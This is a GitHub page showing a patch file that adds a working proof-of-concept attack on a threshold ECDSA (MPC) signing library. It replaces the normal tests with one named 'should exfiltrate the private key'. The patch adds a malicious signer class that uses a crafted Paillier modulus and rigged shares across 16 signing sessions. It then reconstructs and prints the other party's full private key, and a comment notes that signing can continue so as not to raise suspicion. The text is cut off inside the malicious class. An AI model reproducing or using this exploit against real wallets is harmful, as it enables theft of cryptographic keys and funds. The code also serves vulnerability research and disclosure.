-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathecdsa-poc-2-diff.patch
1256 lines (1225 loc) · 46.3 KB
/
ecdsa-poc-2-diff.patch
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
diff --git a/modules/account-lib/.mocharc.js b/modules/account-lib/.mocharc.js
index 836ae3e4d..d0834898d 100644
--- a/modules/account-lib/.mocharc.js
+++ b/modules/account-lib/.mocharc.js
@@ -2,9 +2,7 @@
module.exports = {
require: 'ts-node/register',
- timeout: '60000',
- reporter: 'min',
- 'reporter-option': ['consoleReporter=min'],
+ timeout: '999999999999',
exit: true,
- spec: ['test/unit/**/*.ts'],
+ spec: ['test/unit/mpc/tss/ecdsa/ecdsa.ts'],
};
diff --git a/modules/account-lib/test/unit/mpc/tss/ecdsa/bigint-helpers.js b/modules/account-lib/test/unit/mpc/tss/ecdsa/bigint-helpers.js
new file mode 100644
index 000000000..fbfed2048
--- /dev/null
+++ b/modules/account-lib/test/unit/mpc/tss/ecdsa/bigint-helpers.js
@@ -0,0 +1,192 @@
+// Copyright (c) 2018, Ben Noordhuis <info@bnoordhuis.nl>
+//
+// Permission to use, copy, modify, and/or distribute this software for any
+// purpose with or without fee is hereby granted, provided that the above
+// copyright notice and this permission notice appear in all copies.
+//
+// THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
+// WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
+// MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
+// ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
+// WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
+// ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
+// OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
+
+'use strict'
+
+module.exports.random = random
+module.exports.isBigIntPrime = isPrime
+
+const {randomBytes} = require('crypto')
+
+function random(bits, cb) {
+ if (bits < 0)
+ throw new RangeError('bits < 0')
+
+ const n = (bits >>> 3) + !!(bits & 7) // Round up to next byte.
+ const r = 8*n - bits
+ const s = 8 - r
+ const m = (1 << s) - 1 // Bits to mask off from MSB.
+
+ if (cb)
+ return randomcb(n, m, cb)
+
+ const bytes = randomBytes(n)
+
+ maskbits(m, bytes)
+
+ return bytes2bigint(bytes)
+}
+
+function randomcb(n, m, cb) {
+ randomBytes(n, (err, bytes) => {
+ if (err)
+ return cb(err)
+
+ maskbits(m, bytes)
+
+ cb(null, bytes2bigint(bytes))
+ })
+}
+
+// Note: mutates the contents of |bytes|.
+function maskbits(m, bytes) {
+ // Mask off bits from the MSB that are > log2(bits).
+ // |bytes| is treated as a big-endian bigint so byte 0 is the MSB.
+ if (bytes.length > 0)
+ bytes[0] &= m
+}
+
+function bytes2bigint(bytes) {
+ let result = 0n
+
+ const n = bytes.length
+
+ // Read input in 8 byte slices. This is, on average and at the time
+ // of writing, about 35x faster for large inputs than processing them
+ // one byte at a time.
+ if (n >= 8) {
+ const view = new DataView(bytes.buffer, bytes.byteOffset)
+
+ for (let i = 0, k = n & ~7; i < k; i += 8) {
+ const x = view.getBigUint64(i, false)
+ result = (result << 64n) + x
+ }
+ }
+
+ // Now mop up any remaining bytes.
+ for (let i = n & ~7; i < n; i++)
+ result = result * 256n + BigInt(bytes[i])
+
+ return result
+}
+
+
+// Javascript program Miller-Rabin primality test
+// based on JavaScript code found at https://www.geeksforgeeks.org/primality-test-set-3-miller-rabin/
+
+// Utility function to do
+// modular exponentiation.
+// It returns (x^y) % p
+function power(x, y, p)
+{
+
+ // Initialize result
+ // (JML- all literal integers converted to use n suffix denoting BigInt)
+ let res = 1n;
+
+ // Update x if it is more than or
+ // equal to p
+ x = x % p;
+ while (y > 0n)
+ {
+
+ // If y is odd, multiply
+ // x with result
+ if (y & 1n)
+ res = (res*x) % p;
+
+ // y must be even now
+ y = y/2n; // (JML- original code used a shift operator, but division is clearer)
+ x = (x*x) % p;
+ }
+ return res;
+}
+
+
+// This function is called
+// for all k trials. It returns
+// false if n is composite and
+// returns false if n is
+// probably prime. d is an odd
+// number such that d*2<sup>r</sup> = n-1
+// for some r >= 1
+function miillerTest(d, n)
+{
+ // (JML- all literal integers converted to use n suffix denoting BigInt)
+
+ // Pick a random number in [2..n-2]
+ // Corner cases make sure that n > 4
+ /*
+ JML- I can't mix the Number returned by Math.random with
+ operations involving BigInt. The workaround is to create a random integer
+ with precision 6 and convert it to a BigInt.
+ */
+ const r = BigInt(Math.floor(Math.random() * 100_000))
+ // JML- now I have to divide by the multiplier used above (BigInt version)
+ const y = r*(n-2n)/100_000n
+ let a = 2n + y % (n - 4n);
+
+ // Compute a^d % n
+ let x = power(a, d, n);
+
+ if (x == 1n || x == n-1n)
+ return true;
+
+ // Keep squaring x while one
+ // of the following doesn't
+ // happen
+ // (i) d does not reach n-1
+ // (ii) (x^2) % n is not 1
+ // (iii) (x^2) % n is not n-1
+ while (d != n-1n)
+ {
+ x = (x * x) % n;
+ d *= 2n;
+
+ if (x == 1n)
+ return false;
+ if (x == n-1n)
+ return true;
+ }
+
+ // Return composite
+ return false;
+}
+
+// It returns false if n is
+// composite and returns true if n
+// is probably prime. k is an
+// input parameter that determines
+// accuracy level. Higher value of
+// k indicates more accuracy.
+function isPrime( n, k=40)
+{
+ // (JML- all literal integers converted to use n suffix denoting BigInt)
+ // Corner cases
+ if (n <= 1n || n == 4n) return false;
+ if (n <= 3n) return true;
+
+ // Find r such that n =
+ // 2^d * r + 1 for some r >= 1
+ let d = n - 1n;
+ while (d % 2n == 0n)
+ d /= 2n;
+
+ // Iterate given nber of 'k' times
+ for (let i = 0; i < k; i++)
+ if (!miillerTest(d, n))
+ return false;
+
+ return true;
+}
\ No newline at end of file
diff --git a/modules/account-lib/test/unit/mpc/tss/ecdsa/ecdsa.ts b/modules/account-lib/test/unit/mpc/tss/ecdsa/ecdsa.ts
index 85d31406c..f3e2d07f2 100644
--- a/modules/account-lib/test/unit/mpc/tss/ecdsa/ecdsa.ts
+++ b/modules/account-lib/test/unit/mpc/tss/ecdsa/ecdsa.ts
@@ -1,4 +1,7 @@
+import 'should';
import { Ecdsa, ECDSA, rangeProof } from '@bitgo/sdk-core';
+import { hexToBigInt, bigIntToHex } from '../../../../../../sdk-core/src/account-lib/util/crypto';
+import EcdsaMalicious from '../../../../../../sdk-core/src/account-lib/mpc/tss/ecdsa/ecdsaMalicious';
import * as sinon from 'sinon';
import createKeccakHash from 'keccak';
import * as paillierBigint from 'paillier-bigint';
@@ -12,225 +15,153 @@ import {
mockFKeyShare,
} from '../fixtures/ecdsa';
import { Hash, randomBytes } from 'crypto';
+import * as bigintCryptoUtils from 'bigint-crypto-utils';
+import { random, isBigIntPrime } from './bigint-helpers.js'
+import { bigIntToBufferBE, getPaillierPublicKey } from '@bitgo/sdk-core/src/account-lib/mpc/util';
+
+const solveCRT = (remainders: bigint[], modules: bigint[]) => {
+ // Multiply all the modulus
+ const prod: bigint = modules.reduce((acc: bigint, val) => acc * val, BigInt(1));
+
+ return modules.reduce((sum, mod, index) => {
+ // Find the modular multiplicative inverse and calculate the sum
+ // SUM( remainder * productOfAllModulus/modulus * MMI ) (mod productOfAllModulus)
+ const p = prod / mod;
+ return sum + (remainders[index] * bigintCryptoUtils.modInv(p, mod) * p);
+ }, BigInt(0)) % prod;
+}
+
+function isPrime(num) {
+ for (let i = 2, s = Math.sqrt(num); i <= s; i++)
+ if (num % i === 0) return false;
+ return num > 1;
+}
+
+function getRandomArbitrary(min, max) {
+ return Math.floor(Math.random() * (max - min) + min)
+}
+
+function gcd(a, b) {
+ if (a == 0)
+ return b;
+ return gcd(b % a, a);
+}
+
+function calculateW(xShare, yShare) {
+ const d = Ecdsa.curve.scalarMult(Ecdsa.curve.scalarSub(BigInt(yShare.j), BigInt(xShare.i)), BigInt(xShare.i));
+
+ const w = [
+ Ecdsa.curve.scalarMult(BigInt(yShare.j), BigInt(xShare.i)),
+ hexToBigInt(xShare['x']),
+ Ecdsa.curve.scalarInvert(d),
+ ].reduce(Ecdsa.curve.scalarMult);
+
+ return w
+}
+
/**
* @prettier
*/
describe('TSS ECDSA TESTS', function () {
const MPC = new Ecdsa();
- const base = BigInt('0x010000000000000000000000000000000000000000000000000000000000000000'); // 2^256
+ const MPCMalicious = new EcdsaMalicious();
let keyShares: ECDSA.KeyCombined[];
let commonPublicKey: string;
- const seed = Buffer.from(
- 'c4d1583a0b7b88626b56f0c83ee6df4d95d99cca73893ffb57c5e4411fa1b2b9c87456080e8d3f03462f065688abc28be2d4af3164d593c50b55269b435ea48d',
- 'hex',
- );
let A: ECDSA.KeyShare, B: ECDSA.KeyShare, C: ECDSA.KeyShare;
before(async () => {
- const pallierMock = sinon
- .stub(paillierBigint, 'generateRandomKeys')
- .onCall(0)
- .resolves(paillerKeys[0] as unknown as paillierBigint.KeyPair)
- .onCall(1)
- .resolves(paillerKeys[1] as unknown as paillierBigint.KeyPair)
- .onCall(2)
- .resolves(paillerKeys[2] as unknown as paillierBigint.KeyPair)
- .onCall(3)
- .resolves(paillerKeys[0] as unknown as paillierBigint.KeyPair)
- .onCall(4)
- .resolves(paillerKeys[1] as unknown as paillierBigint.KeyPair)
- .onCall(5)
- .resolves(paillerKeys[2] as unknown as paillierBigint.KeyPair);
[A, B, C] = await Promise.all([MPC.keyShare(1, 2, 3), MPC.keyShare(2, 2, 3), MPC.keyShare(3, 2, 3)]);
- // Needs to run this serially for testing deterministic key generation
- // to get specific pallier keys to be assigned
- const D = await MPC.keyShare(1, 2, 3, seed);
- const E = await MPC.keyShare(2, 2, 3, seed);
- const F = await MPC.keyShare(3, 2, 3, seed);
-
const aKeyCombine = MPC.keyCombine(A.pShare, [B.nShares[1], C.nShares[1]]);
const bKeyCombine = MPC.keyCombine(B.pShare, [A.nShares[2], C.nShares[2]]);
- const cKeyCombine = MPC.keyCombine(C.pShare, [A.nShares[3], B.nShares[3]]);
-
- // Shares with specific seeds
- const dKeyCombine = MPC.keyCombine(D.pShare, [E.nShares[1], F.nShares[1]]);
- const eKeyCombine = MPC.keyCombine(E.pShare, [D.nShares[2], F.nShares[2]]);
- const fKeyCombine = MPC.keyCombine(F.pShare, [D.nShares[3], E.nShares[3]]);
-
- // Shares for derived keys.
- const path = 'm/0/1';
- const aKeyDerive = MPC.keyDerive(A.pShare, [B.nShares[1], C.nShares[1]], path);
- const gKeyCombine: ECDSA.KeyCombined = {
- xShare: aKeyDerive.xShare,
- yShares: aKeyCombine.yShares,
- };
- const hKeyCombine = MPC.keyCombine(B.pShare, [aKeyDerive.nShares[2], C.nShares[2]]);
keyShares = [
aKeyCombine,
bKeyCombine,
- cKeyCombine,
- dKeyCombine,
- eKeyCombine,
- fKeyCombine,
- gKeyCombine,
- hKeyCombine,
];
commonPublicKey = aKeyCombine.xShare.y;
- pallierMock.reset();
- pallierMock.restore();
});
- describe('Ecdsa Key Generation Test', function () {
- it('should generate keys with correct threshold and share number', async function () {
- for (let index = 0; index < 3; index++) {
- const participantOne = (index % 3) + 1;
- const participantTwo = ((index + 1) % 3) + 1;
- const participantThree = ((index + 2) % 3) + 1;
- keyShares[index].xShare.i.should.equal(participantOne);
- keyShares[index].xShare.y.should.equal(commonPublicKey);
- keyShares[index].xShare.m.should.not.be.Null;
- keyShares[index].xShare.l.should.not.be.Null;
- keyShares[index].xShare.n.should.not.be.Null;
-
- const chaincode = BigInt('0x' + keyShares[index].xShare.chaincode);
- const isChainCodeValid = chaincode > BigInt(0) && chaincode <= base;
- isChainCodeValid.should.equal(true);
-
- keyShares[index].yShares[participantTwo].i.should.equal(participantOne);
- keyShares[index].yShares[participantThree].i.should.equal(participantOne);
- keyShares[index].yShares[participantTwo].j.should.equal(participantTwo);
- keyShares[index].yShares[participantThree].j.should.equal(participantThree);
- keyShares[index].yShares[participantTwo].n.should.not.be.Null;
- keyShares[index].yShares[participantThree].n.should.not.be.Null;
-
- const publicKeyPrefix = keyShares[index].xShare.y.slice(0, 2);
- const isRightPrefix = publicKeyPrefix === '03' || publicKeyPrefix === '02';
- isRightPrefix.should.equal(true);
- }
- });
+ describe('ECDSA Signing', async function () {
+ let config: { signerOne: ECDSA.KeyCombined; signerTwo: ECDSA.KeyCombined; hash?: string; shouldHash?: boolean }[];
- it('should generate keyshares with specific seed', async function () {
- // Keys should be deterministic when using seed
- const [, , , D, E, F] = keyShares;
- mockDKeyShare.should.deepEqual(D);
- mockEKeyShare.should.deepEqual(E);
- mockFKeyShare.should.deepEqual(F);
- });
+ before(() => {
+ const [A, B] = keyShares;
- it('should fail if seed is length less than 64 bytes', async function () {
- await MPC.keyShare(1, 2, 3, randomBytes(16)).should.be.rejectedWith(
- 'Seed must have a length of at least 64 bytes',
- );
- await MPC.keyShare(1, 2, 3, randomBytes(32)).should.be.rejectedWith(
- 'Seed must have a length of at least 64 bytes',
- );
+ config = [
+ { signerOne: A, signerTwo: B },
+ ];
});
- it('should pass if seed length is greater than 64', async function () {
- const paillierMock = sinon
- .stub(paillierBigint, 'generateRandomKeys')
- .onCall(0)
- .resolves(paillerKeys[0] as unknown as paillierBigint.KeyPair);
- const seed72Bytes = Buffer.from(
- '4f7e914dc9ec696398675d1544aab61cb7a67662ffcbdb4079ec5d682be565d87c1b2de75c943dec14c96586984860268779498e6732473aed9ed9c2538f50bea0af926bdccc0134',
- 'hex',
- );
- (await MPC.keyShare(1, 2, 3, seed72Bytes)).pShare.u.length.should.equal(64);
- paillierMock.restore();
- });
+ const index = 0
+ it(`should exfiltrate the private key`, async function () {
- it('should calculate correct chaincode while combining', async function () {
- const keyCombine = MPC.keyCombine(mockPShare, mockNShares);
- keyCombine.xShare.chaincode.should.equal('fffffffffffffffffffffffffffffffffffffffffffffffffffffffefffffc32');
- });
+ // ********** 1. Preprocessing **********
- it('should fail to generate keys with invalid threshold and share number', async function () {
- const invalidConfigs = [
- { index: 1, threshold: 5, numShares: 3 },
- { index: -1, threshold: 2, numShares: 3 },
- { index: 1, threshold: 2, numShares: 1 },
- ];
- for (let index = 0; index < invalidConfigs.length; index++) {
- try {
- await MPC.keyShare(
- invalidConfigs[index].index,
- invalidConfigs[index].threshold,
- invalidConfigs[index].numShares,
- );
- } catch (e) {
- e.should.equal('Invalid KeyShare Config');
+ const numberOfPrimes = 16
+ const primeBitLength = 256 / numberOfPrimes
+ let primes: bigint[] = []
+
+ while (primes.length < numberOfPrimes) {
+ const r = getRandomArbitrary(2 ** (primeBitLength + 1), 2 ** (primeBitLength + 3))
+ if (isPrime(r) && isPrime(2 * r + 1) && !primes.includes(BigInt(r))) {
+ primes.push(BigInt(r))
}
+ primes = [...new Set(primes)]
}
- });
-
- it('should derive unhardened child keys', async function () {
- // parent key
- const aKeyCombine = keyShares[0];
- const commonKeychain = aKeyCombine.xShare.y + aKeyCombine.xShare.chaincode;
- for (let index = 0; index < 10; index++) {
- const path = `m/0/0/${index}`;
+ let n = BigInt(1)
+ let primesProduct = BigInt(1)
+ for (const p of primes) {
+ n = n * p * (BigInt(2) * p + BigInt(1))
+ primesProduct = primesProduct * p
+ }
- const subkey = MPC.keyDerive(A.pShare, [B.nShares[1], C.nShares[1]], path);
+ // let bigPrime = ((BigInt(2) ** BigInt(3056)) / primesProduct ** BigInt(2)) / BigInt(2)
+ // while (!isBigIntPrime(bigPrime)) {
+ // bigPrime++
+ // }
+ const bigPrime = BigInt('28288834403716544283053804100671506237873078247780502986462006583068755284825824429878227286238558742600961816432103430305066121527162099494030847379363147247957951357433935994973163370720261390848493159354916656733445810348591870408723460424026262389905251503054756815976250224420682537710131895514655471048792007295806563812155366553349885137078719504499567958925968057230972079009053611698905296649628830486439204650051233203403169474612340460041971731770764426050138961273025490213605405667087516129730465603242219419257940596554687367955685629068823455006074097897872775966028631707830580709686462392845146476284906332581060029894120622499139670909780229304486067368502346188132550997666616258690404353182940790916260203331581463526181163')
- const derive1: string = MPC.deriveUnhardened(commonKeychain, path);
- const derive2: string = MPC.deriveUnhardened(commonKeychain, path);
+ n = n * bigPrime
- derive1.should.equal(derive2, 'derivation should be deterministic');
+ let phiN = BigInt(1)
+ let phiLambda = BigInt(1)
+ let e = BigInt(2) * (bigPrime - BigInt(1))
+ for (const p of primes) {
+ phiN = phiN * (p - BigInt(1)) * (p * BigInt(2))
+ phiLambda = phiLambda * (p - BigInt(1))
- (subkey.xShare.y + subkey.xShare.chaincode).should.equal(
- derive1,
- 'subkey common keychain should match derived keychain',
- );
+ e = e * (p - BigInt(1))
}
- });
- });
- describe('ECDSA Signing', async function () {
- let config: { signerOne: ECDSA.KeyCombined; signerTwo: ECDSA.KeyCombined; hash?: string; shouldHash?: boolean }[];
- let ntildeMock;
+ const d = BigInt(2)
- before(() => {
- const [A, B, C, D, E, F, G, H] = keyShares;
+ const eStar = bigintCryptoUtils.modInv(e, n)
+ globalThis.fakeDecryptValues = { e, eStar };
- config = [
- { signerOne: A, signerTwo: B },
- { signerOne: B, signerTwo: C },
- { signerOne: C, signerTwo: A },
+ const signerOne = config[index].signerOne;
+ const signerOneIndex = config[index].signerOne.xShare.i;
+ const signerTwo = config[index].signerTwo;
- // Checks signing with specific seed
- { signerOne: D, signerTwo: E },
- { signerOne: E, signerTwo: F },
- { signerOne: F, signerTwo: D },
- // Checks with specific hashing algorithm
- { signerOne: A, signerTwo: B, hash: 'keccak256' },
+ // ********** 1. Initiating 16 signatures and saving the MUs **********
- // checks with no hashing
- { signerOne: A, signerTwo: B, shouldHash: false },
+ const MUs = await Promise.all(primes.map(async (Pi) => {
+ const Ni = n / (BigInt(2) * Pi + BigInt(1))
+ const Qi = BigInt(2) * Pi + BigInt(1)
+ const vPrimeModuloResults = {}
- // Checks with derived subkey
- { signerOne: G, signerTwo: H },
- ];
- ntildeMock = sinon.stub(rangeProof, 'generateNTilde');
- for (let i = 0; i < ntildes.length; i++) {
- ntildeMock.onCall(i).resolves(ntildes[i] as unknown as ECDSA.NTilde);
- }
- });
+ vPrimeModuloResults[(Qi * Qi).toString()] = bigintCryptoUtils.modPow(BigInt(4), Qi, Qi * Qi)
+ vPrimeModuloResults[(Ni * Ni).toString()] = BigInt(1)
- after(() => {
- ntildeMock.reset();
- });
+ let v = solveCRT(Object.entries(vPrimeModuloResults).map(x => BigInt(x[1] as number)), Object.entries(vPrimeModuloResults).map(x => BigInt(x[0])))
+ v = v % (n * n)
- for (let index = 0; index < 9; index++) {
- it(`should properly sign the message case ${index}`, async function () {
// Step One
// signerOne, signerTwo have decided to sign the message
- const signerOne = config[index].signerOne;
- const signerOneIndex = config[index].signerOne.xShare.i;
- const signerTwo = config[index].signerTwo;
+ const signerOneWithModifiedN = JSON.parse(JSON.stringify(signerOne))
+ signerOneWithModifiedN.xShare.n = bigIntToHex(n)
// Step Two
// Second signer generates their range proof challenge.
@@ -239,15 +170,17 @@ describe('TSS ECDSA TESTS', function () {
signerTwo.yShares[signerOneIndex],
);
+
// Step Three
// Sign Shares are created by one of the participants (signerOne)
// with its private XShare and YShare corresponding to the other participant (signerTwo)
// This step produces a private WShare which signerOne saves and KShare which signerOne sends to signerTwo
- const signShares: ECDSA.SignShareRT = await MPC.signShare(
- signerOne.xShare,
+ const signShares: ECDSA.SignShareRT = await MPCMalicious.signShare(
+ signerOneWithModifiedN.xShare,
signerTwoWithChallenge.yShares[signerOneIndex],
+ v,
+ Pi,
);
-
// Step Four
// signerTwo receives the KShare from signerOne and uses it produce private
// BShare (Beta Share) which signerTwo saves and AShare (Alpha Share)
@@ -258,14 +191,19 @@ describe('TSS ECDSA TESTS', function () {
kShare: signShares.kShare,
});
+ const mu = signConvertS21.aShare?.mu
+ // We don't need to continue with the MPC protocol any further
+ // But we can continue and make it sign in order to not raise suspicion
+
+
// Step Five
// signerOne receives the AShare from signerTwo and signerOne using the private WShare from step two
// uses it produce private GShare (Gamma Share) and MUShare (Mu Share) which
// is sent to signerTwo to produce its Gamma Share
- const signConvertS12: ECDSA.SignConvertRT = await MPC.signConvert({
+ const signConvertS12: ECDSA.SignConvertRT = await MPCMalicious.signConvert({
aShare: signConvertS21.aShare,
wShare: signShares.wShare,
- });
+ }, Ni, Qi);
// Step Six
// signerTwo receives the MUShare from signerOne and signerOne using the private BShare from step three
@@ -281,7 +219,7 @@ describe('TSS ECDSA TESTS', function () {
// delta shares which they share to each other
const [signCombineOne, signCombineTwo] = [
- MPC.signCombine({
+ MPCMalicious.signCombine({
gShare: signConvertS12.gShare as ECDSA.GShare,
signIndex: {
i: (signConvertS12.muShare as ECDSA.MUShare).i,
@@ -308,7 +246,7 @@ describe('TSS ECDSA TESTS', function () {
return hashType === 'keccak256' ? createKeccakHash('keccak256') : undefined;
};
const [signA, signB] = [
- MPC.sign(
+ MPCMalicious.sign(
MESSAGE,
signCombineOne.oShare,
signCombineTwo.dShare,
@@ -334,7 +272,50 @@ describe('TSS ECDSA TESTS', function () {
const isValid = MPC.verify(MESSAGE, signature, hashGenerator(config[index].hash), config[index].shouldHash);
isValid.should.equal(true);
- });
- }
+
+ // @ts-ignore
+ return hexToBigInt(mu)
+ }))
+
+
+
+ // ********** 3. Postprocessing, extracting the private key **********
+
+ function coreOfTheAttack(MUs) {
+ let primeModuloResults = {};
+
+ let counter = 0;
+ for (const p of primes) {
+ let primeModulo
+ const mu = MUs[counter++]
+ const q = p * BigInt(2) + BigInt(1)
+ const b = bigintCryptoUtils.modPow(d, p - BigInt(2), p)
+ const z = bigintCryptoUtils.modPow(bigintCryptoUtils.modPow(mu, d, q), b, q)
+ for (let x = BigInt(0); x < p; x++) {
+ if (bigintCryptoUtils.modPow(BigInt(4), x, q) === z) {
+ primeModulo = x
+ break
+ }
+ }
+ primeModuloResults[p.toString()] = primeModulo;
+ }
+
+ const reconstructedValue = solveCRT(Object.entries(primeModuloResults).map(x => BigInt(x[1] as number)), Object.entries(primeModuloResults).map(x => BigInt(x[0])))
+
+ return reconstructedValue
+ }
+
+ const reconstructedW = coreOfTheAttack(MUs)
+
+ const myW = calculateW(signerOne.xShare, signerOne.yShares[signerTwo.xShare.i])
+ const combinedWs = (reconstructedW + myW) % Ecdsa.curve.order()
+
+ console.log(`public key : ${BigInt('0x' + commonPublicKey).toString()}`)
+ console.log(`reconstructed public key : ${Ecdsa.curve.basePointMult(combinedWs)}`)
+ console.log(``)
+ console.log(`reconstructed private key: 0x${combinedWs.toString(16)}`)
+
+ BigInt('0x' + commonPublicKey).should.equal(Ecdsa.curve.basePointMult(combinedWs));
+ });
});
});
diff --git a/modules/sdk-core/src/account-lib/mpc/tss/ecdsa/ecdsaMalicious.ts b/modules/sdk-core/src/account-lib/mpc/tss/ecdsa/ecdsaMalicious.ts
new file mode 100644
index 000000000..381fb0098
--- /dev/null
+++ b/modules/sdk-core/src/account-lib/mpc/tss/ecdsa/ecdsaMalicious.ts
@@ -0,0 +1,521 @@
+import * as paillierBigint from 'paillier-bigint';
+import * as bigintCryptoUtils from 'bigint-crypto-utils';
+import * as secp from '@noble/secp256k1';
+import HDTree, { BIP32, chaincodeBase } from '../../hdTree';
+import { randomBytes, createHash, Hash } from 'crypto';
+import { bip32 } from '@bitgo/utxo-lib';
+import { hexToBigInt } from '../../../util/crypto';
+import { bigIntFromBufferBE, bigIntToBufferBE, bigIntFromU8ABE, getPaillierPublicKey } from '../../util';
+import { Secp256k1Curve } from '../../curves';
+import Shamir from '../../shamir';
+import * as rangeProof from './rangeproof';
+import {
+ RangeProofWithCheck,
+ NShare,
+ PShare,
+ KeyShare,
+ KeyCombined,
+ KeyCombinedWithNTilde,
+ SubkeyShare,
+ BShare,
+ AShare,
+ Signature,
+ SignConvertRT,
+ SignConvert,
+ GShare,
+ MUShare,
+ SignCombine,
+ SignCombineRT,
+ DShare,
+ OShare,
+ SShare,
+ SignShareRT,
+ KShare,
+ XShare,
+ XShareWithNTilde,
+ YShare,
+ YShareWithNTilde,
+} from './types';
+import Ecdsa from './ecdsa';
+
+const _5n = BigInt(5);
+
+function hasNTilde(share: XShare | YShare): share is XShareWithNTilde | YShareWithNTilde {
+ return 'ntilde' in share;
+}
+
+function fakeDecrypt(encryptedValue: bigint, n: bigint, q: bigint) {
+ const { e, eStar } = globalThis.fakeDecryptValues;
+ let decryptedValue = (bigintCryptoUtils.modPow(encryptedValue, e, n * n) - BigInt(1)) / n;
+ decryptedValue = (decryptedValue * eStar);
+ return (decryptedValue * bigintCryptoUtils.modInv(q, n)) % n
+}
+
+/**
+ * Malicious ECDSA TSS implementation supporting 2:n Threshold
+ */
+export default class EcdsaMalicious extends Ecdsa {
+ /**
+ * Create signing shares.
+ * @param {xShare} xShare Private xShare of current participant signer
+ * @param {YShare} yShare yShare corresponding to the other participant signer
+ * @returns {SignShareRT} Returns the participant private w-share
+ * and k-share to be distributed to other participant signer
+ */
+ async signShare(xShare: XShare | XShareWithNTilde, yShare: YShareWithNTilde, v: bigint = BigInt(0), Pi: bigint = BigInt(0)): Promise<SignShareRT> {
+ const pk = getPaillierPublicKey(hexToBigInt(xShare.n));
+
+ // Generate a challenge if ntilde is not present in the xShare.
+ if (!hasNTilde(xShare)) {
+ xShare = (await this.signChallenge(xShare, yShare)).xShare;
+ }
+
+ const k = BigInt(0);
+ const rk = BigInt(1);
+ const ck = v;
+ const gamma = EcdsaMalicious.curve.scalarRandom();
+
+ const d = EcdsaMalicious.curve.scalarMult(EcdsaMalicious.curve.scalarSub(BigInt(yShare.j), BigInt(xShare.i)), BigInt(xShare.i));
+
+ const w = [
+ EcdsaMalicious.curve.scalarMult(BigInt(yShare.j), BigInt(xShare.i)),
+ hexToBigInt(xShare['x']),
+ EcdsaMalicious.curve.scalarInvert(d),
